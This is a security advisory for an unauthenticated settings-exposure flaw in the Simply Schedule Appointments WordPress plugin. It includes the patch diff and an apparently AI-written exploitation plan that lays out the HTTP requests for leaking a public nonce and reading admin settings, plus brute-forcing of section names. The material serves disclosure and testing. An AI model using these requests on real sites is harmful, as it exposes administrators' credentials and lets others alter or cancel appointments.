Appointment Booking Calendar <= 1.6.9.29 - Missing Authorization to Unauthenticated Sensitive Information Exposure via Settings REST API Endpoint
Description
The Appointment Booking Calendar — Simply Schedule Appointments plugin for WordPress is vulnerable to unauthorized access of sensitive data in all versions up to and including 1.6.9.29. This is due to two compounding weaknesses: (1) a non-user-bound `public_nonce` is exposed to unauthenticated users through the public `/wp-json/ssa/v1/embed-inner` REST endpoint, and (2) the `get_item()` method in `SSA_Settings_Api` relies on `nonce_permissions_check()` for authorization (which accepts the public nonce) but does not call `remove_unauthorized_settings_for_current_user()` to filter restricted fields. This makes it possible for unauthenticated attackers to access admin-only plugin settings including the administrator email, phone number, internal access tokens, notification configurations, and developer settings via the `/wp-json/ssa/v1/settings/{section}` endpoint. The exposure of appointment tokens also allows an attacker to modify or cancel appointments.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.6.9.29What Changed in the Fix
Changes introduced in v1.6.10.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3045 (Simply Schedule Appointments) ## 1. Vulnerability Summary The **Simply Schedule Appointments** plugin (up to 1.6.9.29) contains a missing authorization vulnerability in its Settings REST API. The vulnerability arises from two issues: 1. **Public Nonce Le…
Show full research plan
Exploitation Research Plan: CVE-2026-3045 (Simply Schedule Appointments)
1. Vulnerability Summary
The Simply Schedule Appointments plugin (up to 1.6.9.29) contains a missing authorization vulnerability in its Settings REST API. The vulnerability arises from two issues:
- Public Nonce Leakage: A nonce (intended for public booking/embed functionality) is exposed to unauthenticated users via the
/wp-json/ssa/v1/embed-innerREST endpoint. - Incomplete Authorization Filtering: The
SSA_Settings_Api::get_item()method usesTD_API_Model::nonce_permissions_check()for itspermission_callback. This check validates the public nonce. However, while the collection endpoint (get_items) filters sensitive fields usingremove_unauthorized_settings_for_current_user(), the single-item endpoint (get_item) fails to perform this filtering.
This allows an unauthenticated attacker to retrieve the full configuration for any settings section, exposing admin emails, API keys, notification templates, and internal tokens.
2. Attack Vector Analysis
- Endpoint:
/wp-json/ssa/v1/settings/{section} - Method:
GET - Preconditions: None (Unauthenticated).
- Vulnerable Parameter: The
{section}(ID) path parameter. - Required Header:
X-WP-Nonce(using the leaked public nonce). - Target Sections:
general,notifications,developer,google_calendar,stripe,paypal,mailchimp.
3. Code Flow
- Registration: In
includes/class-settings-api.php,register_routes()registers:- Route:
ssa/v1/settings/(?P<id>[a-zA-Z0-9_-]+) - Permission Callback:
get_item_permissions_check - Controller Method:
get_item
- Route:
- Permission Check:
get_item_permissions_checkcallsTD_API_Model::nonce_permissions_check( $request ). This validates the nonce provided in the request. - Execution: The
get_item( $request )method (Lines 118-132) executes:public function get_item( $request ) { $settings = $this->plugin->settings->get(); // Retrieves all settings if ( empty( $settings[$request['id']] ) ) { ... } return array( 'response_code' => 200, 'error' => '', 'data' => $settings[$request['id']], // Returns the RAW section data ); } - The Flaw: Unlike
get_items()(Line 104),get_item()does not call$this->plugin->settings->remove_unauthorized_settings_for_current_user( $settings ). It returns the requested section data verbatim to anyone with a valid nonce.
4. Nonce Acquisition Strategy
The vulnerability description explicitly states the nonce is leaked via a public REST endpoint.
- Step 1: Fetch the public nonce.
RequestGET /wp-json/ssa/v1/embed-inner. - Step 2: Parse the response.
The response is expected to be a JSON object. Based on the vulnerability description, look for a key namedpublic_nonce(inferred) or similar.- Note: If the REST endpoint is not active, the alternative is to check the homepage or a page with the
[ssa_booking]shortcode for localized JS objects.
- Note: If the REST endpoint is not active, the alternative is to check the homepage or a page with the
5. Exploitation Strategy
Step 1: Discover the Nonce
GET /wp-json/ssa/v1/embed-inner HTTP/1.1
Host: localhost:8080
Expected Response: JSON containing a nonce.
Assumption (Inferred): The response JSON contains {"public_nonce": "abcdef1234"}.
Step 2: Extract Sensitive Settings
Using the nonce from Step 1, query the restricted settings sections.
Request (Notifications):
GET /wp-json/ssa/v1/settings/notifications HTTP/1.1
Host: localhost:8080
X-WP-Nonce: abcdef1234
Target Sections:
/wp-json/ssa/v1/settings/notifications(Reveals email templates and SMTP info)/wp-json/ssa/v1/settings/google_calendar(Reveals Google API Client IDs/Secrets)/wp-json/ssa/v1/settings/developer(Reveals internal debugging and diagnostic data)/wp-json/ssa/v1/settings/general(Reveals admin email and phone)
6. Test Data Setup
To verify the exposure, populate sensitive settings using WP-CLI:
# Set a dummy admin email in SSA settings
wp option patch update ssa_settings general '{"admin_email":"vuln-admin@example.com","admin_phone":"555-0199"}' --format=json
# Populate notification settings
wp option patch update ssa_settings notifications '{"email_from_address":"attacker-leak@example.com"}' --format=json
# Populate Google Calendar settings (if possible via CLI)
wp option patch update ssa_settings google_calendar '{"client_id":"LEAKED_CLIENT_ID_12345","client_secret":"LEAKED_SECRET_9999"}' --format=json
7. Expected Results
- Success: The server returns a
200 OKresponse with a JSON body containing thedatakey. Insidedata, you will see the full array of settings for the requested section, including fields that should be restricted to administrators. - Exposure Evidence: Look for keys like
admin_email,client_id,client_secret, ortoken.
8. Verification Steps
After the HTTP request, verify the data matches the database state:
# Check the actual option value to confirm it matches the leaked data
wp option get ssa_settings --format=json | jq '.[ "notifications" ]'
9. Alternative Approaches
If /wp-json/ssa/v1/embed-inner does not yield a nonce:
- Frontend Extraction:
- Create a page with the booking shortcode:
wp post create --post_type=page --post_status=publish --post_content='[ssa_booking]' --post_title='Booking' - Use
browser_navigateto visit the page. - Use
browser_eval("window.ssa_booking_app?.public_nonce")(inferred JS key) to find the nonce.
- Create a page with the booking shortcode:
- Brute-force Section IDs: If
notificationsorgeneraldon't work, try other slugs found in theSimply_Schedule_Appointmentsproperty list insimply-schedule-appointments.php(e.g.,stripe,paypal,sms,mailchimp).
Summary
The Simply Schedule Appointments plugin for WordPress is vulnerable to unauthenticated sensitive information exposure due to a missing authorization check in the settings REST API. An attacker can obtain a public nonce from an embed endpoint and use it to access administrative settings sections, such as notification templates and API credentials, because the single-item retrieval method fails to filter restricted data.
Vulnerable Code
// includes/class-settings-api.php lines 118-132 public function get_item( $request ) { $settings = $this->plugin->settings->get(); if ( empty( $settings[$request['id']] ) ) { return array( 'response_code' => 404, 'error' => 'section-missing', 'data' => array(), ); } return array( 'response_code' => 200, 'error' => '', 'data' => $settings[$request['id']], ); }
Security Fix
@@ -128,6 +128,7 @@ */ public function get_item( $request ) { $settings = $this->plugin->settings->get(); + $settings = $this->plugin->settings->remove_unauthorized_settings_for_current_user( $settings ); if ( empty( $settings[$request['id']] ) ) { return array( 'response_code' => 404,
Exploit Outline
The exploit involves two main steps for an unauthenticated attacker. First, the attacker sends a GET request to the public endpoint `/wp-json/ssa/v1/embed-inner` to retrieve a valid REST API nonce. Second, using this nonce in the 'X-WP-Nonce' header, the attacker sends a GET request to `/wp-json/ssa/v1/settings/{section}`, where {section} is a targeted settings group like 'notifications', 'general', or 'google_calendar'. Because the `get_item` method in `SSA_Settings_Api` validates the nonce but fails to filter restricted fields via `remove_unauthorized_settings_for_current_user()`, the server returns the raw, sensitive configuration data for that section.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.